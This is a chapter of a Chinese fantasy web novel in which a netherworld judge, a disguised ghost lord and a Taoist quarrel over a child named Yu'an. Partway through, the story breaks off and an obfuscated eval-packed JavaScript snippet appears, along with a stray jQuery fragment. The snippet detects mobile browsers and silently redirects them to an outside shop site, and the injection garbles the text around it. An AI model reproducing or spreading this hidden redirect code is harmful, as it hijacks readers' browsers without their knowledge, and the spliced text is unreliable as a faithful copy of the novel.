25. 你抢我孩子做甚
    长宁苑。

    入院一路,直到主居所,足足在沿路高殿插了五道黑底黄字的大幡。

    幡上画符,道家符箓术。

    罗夕年牵着遇安,一拐入主居拱门,就看到那方道长正在给花容窗口上贴黄符。

    如此看来,倒比方才明兰居里像个修士了!

    花容环臂抱胸倚靠在门框上,瞥了眼罗夕年和遇安,对着方有三抬了一指头指向自己的门正中,道,“这儿呢?用不用也来一张?”

    罗夕年驻足,小遇安也停了步子。

    但看方有三循声望去,扫了眼她头顶,回道,“也可。”

    话音落后,便从袖子里掏出一张黄符,两指一夹,手一丢,就给符纸定在了门正中。

    花容又抬头望了眼那随风晃动的长符,敛眸看向石阶下的两人,对着遇安抬了两根纤长白指,勾了勾,“过来,小鬼。”

    遇安不满地皱起眉,他才不是小鬼!

    看着那小脸上透露着被冒犯后的不爽,花容站直了身子,一撩裙子坐到了门槛上,这次伸了整个手掌,就招了一下,扬眉道,“你这小子,别不识好歹哦!”

    遇安一瞧,直接钻到了罗夕年的长腿后,探了两只黑眸子出来,“你就在那里说,我能听见。”

    奶音刚落,一旁就传来“扑哧——”一声笑。

    方有三赶紧捂住嘴,在花容眯眼望过来后,指了指屋内,“还有那镜子,那里也得来一道。”

    说着,就凑过来往屋里走。

    花容长腿一伸,脚抵门框,横在了门槛上。

    方有三抬起来的脚在空中停滞了两息,又收了回去。

    这花判难伺候的程度,那可真是诡界一绝。

    万余年了,她那殿里如今就只有一个驻殿鬼差。

    听说才来了五百年。

    而在这之前,从来就没鬼差干过能超过十年的……

    十年呐……在漫长的诡界岁月中,简直就是瞬息而已。

    才瞬息……都没鬼愿意这么熬的,可见这花判有多嚼性。

    他今日有幸得见……真是不知修了多少仙人板板才造下这恶业。

    方有三欲哭无泪。

    可接下来她的话,更是让他知道了什么叫做提心吊胆,胆大包天。

    但见花容不再理他,将眸子定在满目疑云的罗夕年身上。

    “我记得我说过的吧,”她又扫到罗夕年那傲人的细腰窄臀旁,盯上小遇安,“他命短,你是不想知道他为何短命了?”

    花容手肘撑到横着的那条膝盖上,托着下巴笑着看那被她几句逗弄的脸色更不爽的小遇安。

    小遇安萌音奶凶奶凶的,“你不是说,我跟你走,待你事儿了了,就会告诉我吗?”

    花容桃眸中笑里……还藏着笑,“可你现在,分明是在跟着他。还是说……”

    她看向罗夕年,问,“是你抢我孩子?”

    “我……”罗夕年眉眼闪过一丝不可思议,嘴角微抽,什么叫他抢孩子?

    这后话因为被怔住没说出来,却被花容断作了单字肯定。

    她轻音“嗯”道,“就是你,你抢我孩子,意欲何为?”

    罗夕年差点儿被她这八竿子打不着边儿、唯我独尊的口气气笑了。

    他深吸了一口气,让自己平静下来,三息后才问道,“你是想跟遇安亲近吗?”

    花容当即秀眉蹙起,指着遇安道,“是他,要跟我亲近!”

    小遇安摇着小脑袋,刚准备说“不”,便被罗夕年突然将手指放在唇边,“嘘”了一声。

    待小遇安撅了嘴巴,对着花容“哼”出了口,罗夕年才道,“就依小娘所说,是遇安想与小娘亲近。那小娘可有想过,遇安缘何想与小娘亲近?”

    花容冷笑,“吾乃罪……出类拔萃、独霸一方之人,他缘何不与我亲近?”

    “……”

    ……

    方有三直呼好家伙,真是但凭一张嘴,不思明日忧……

    等花判你知道这人是诡主时,我看你脸疼不疼,还敢受得住这一声声“小娘”不?

    方有三小眼珠子溜溜转下石阶,沉了下气又偷瞄向他家诡主。

    只听罗夕年道,“小娘所言委实不差,只怪遇安年幼,尚且只会凭心意行事,小娘人美心善,若是将心中善意不加掩藏,遇安定会十分愿意亲近小娘。”

    ……不亏是诡主啊,这都成凡人了,也能看出来花判此鬼鬼心不善,还劝她善良些……

    可花判是什么鬼?罪孽殿恶鬼的克星……怎么可能善良?

    方有三偷瞥向了花判。

    果然,只见花容冷了眸子,“善?你这是在旁敲侧击告诉我,遇安愿意跟着你,是因为你善?”

    真是活久见!要不是这是人间,花容真想给他一刀,片下他一块见骨的肉,让他好好瞧瞧,什么叫做罪孽黑骨!

    ……

    罗夕年并不想再得罪她。

    毕竟,在他眼里,沈择以为是他参与了兖州之事,害了她父亲。

    这种杀父之仇,想让她放下成见,除非有证据。

    她如今如此对遇安,也无非是嫌遇安与他这个她看不顺眼的人走得太近了。

    感觉小遇安抓着他衣袂的手更紧了些,罗夕年便平移了一步,隔掉了花容与遇安的视线。

    他拱手拜了礼,“小娘对在下误会颇深,不是只言片语便能释怀的。不过在下会向小娘证明,你所想之事绝非在下所为。若是小娘愿意,在下愿助小娘一臂之力,查出当年实情。”

    “……”花容支颐的手已经轻轻摸上了她白皙的耳坠,罗夕年敛了眸,继续道,“小娘若是不信,在下可立契!”

    “呵,”花容冷笑出了声,就他也配与她签契?她收了嘴角的冷笑,问,“有条件吧?”

    罗夕年沉了眸,正言,“如小娘所说,在下有一事,确实想请小娘协助。”

    “!”

    花容瞧不出他的心声,可也不信他的话。

    毕竟,没有黑骨会承认自己的恶行!

    罪孽殿万余年,那些罪孽之人,不到最后一刻都不会认错忏悔!

    她给气笑了!

    一介黑骨,竟敢在判官面前自言清白!还敢真谈条件!

    等五日后她杀了那猎鬼师,拿其魂魄回去诡界上了首府山,见到那冤死鬼,拿了口供罪证,必回到这夕人界将罪证亲自呼他脸上!找他索命!

    再者,天道轮回,因果报应!

    若非他!沈择也不会入罗府,不进罗府又何来冤死?不冤死更不能来到她的罪孽殿!那她呢!更更不可能被那死鬼白君贬入人间!

    这真是越想越气,越气越想现在就杀了他!

    ……

    方有三还等着听花判如何回诡主这番坦白局呢,但等了好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223709|150524||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几息,只见平地生阴风,耳边串起了哨子!

    这心下一惊,看向花判的脸,红眸已然升起,登时直呼,“糟了!”

    赶紧从袖中拿出一张符,“砰”地一下盖到了花容的脑门上!

    “……”花容顿时被符纸抢了视线,骨节反白的手拳了起来,倏地瞪向方有三。

    方有三喘出好大两口气,扑簌着胸口,“还好还好,差点儿被影响到。”

    但见花容牙齿咬的“嘎嘣”响,赶紧就侧捂嘴蹲下身子,离花容近了些,小声碎道,“那怨气已经开始蔓延了,花判你方才,差点儿被怨气影响……”

    花容手指关节闻言后,嘎嘣嘎嘣炸响,咬牙切齿道,“你觉得区区怨鬼之气也能借本官之身撒野吗?”

    “……”方有三瞬间瞪大了眼,“不是怨气?那就更不能够了!花判你若真滥杀凡人,可是要被捉回去判罪的!”

    “!”

    花容瞬间觉得,这傻缺,绝对是白君派过来给她设置任务障碍的!

    “本官……”花容后槽牙都快咬碎了,她伸手将眉心的符纸在方有三眼前揉成了疙瘩,戾声绕耳,“只是想想!”

    -

    就现在这氛围,别说罗夕年了……

    就连一直躲在长腿后盾的小遇安都看出了不对劲儿。

    他拽了拽罗夕年的云袖,在罗夕年顺势弯腰,单膝伏低蹲下后,趴在他的耳边,小声问,“主奶奶是不是被邪祟附身了?”

    “……”罗夕年看这状况,小抿了下唇,才皱眉微点了下头,“甚有可能。”

    ———才是假的。

    这道长,分明与她有着不可告人的秘密。

    方才在明兰居,那道长开口就是“花开又落……”,这花开又落,难不成是他们的接头语?

    还有三弟。

    他说,每月都是他陪祖母去的这方道长的观中。

    莫非,这方道长也与三弟有何瓜葛?

    再者,这沈择刚才周遭的杀意可一点儿也不比昨夜差……

    若非那道长出手,她怕是真要对他动手了。

    罗夕年望着被方道长遮了个严实,只露出了半条腿的女人,心中难掩失落。

    这女人,不信他。

    看来只有将证据摆在她面前,她才会与他好好说话。

    彼时,方有三正在被花容眼神摧杀。

    他心中默默哀叹:好我的诡主啊,我只能帮你到这儿了!

    在诡界干了万年了,他能不知道,那冤鬼之气影响不到判官吗?

    可神仙打架,小鬼遭殃!

    俩上司要真干起架来,凡人诡主必然会死!甚至有可能连花判一击都受不住!

    这诡主在诡界除诡霾,千年入人界一世一排霾。这霾还没排干净,就香消玉殒了……

    那受牵连的可不只会是他自己,甚至有可能是整个诡界。

    姑且不谈这最坏的结果。

    就算花判适时收手了,没打死诡主。可若被诡主那毒唯,他方有三的顶头老总,白君判首知晓了……

    他又作为一个袖手旁观者……眼看着诡主被揍,还没有表现出丝毫以身救他的决心。

    那他敢保证,他保准会比被花判眼神杀或者一怒之下揍一顿,更来得鬼命难保,凄惨无比!

    只听花判眯眼威胁,口不动,魂在道,“方有三,趁我还是人,劝你自行滚蛋。”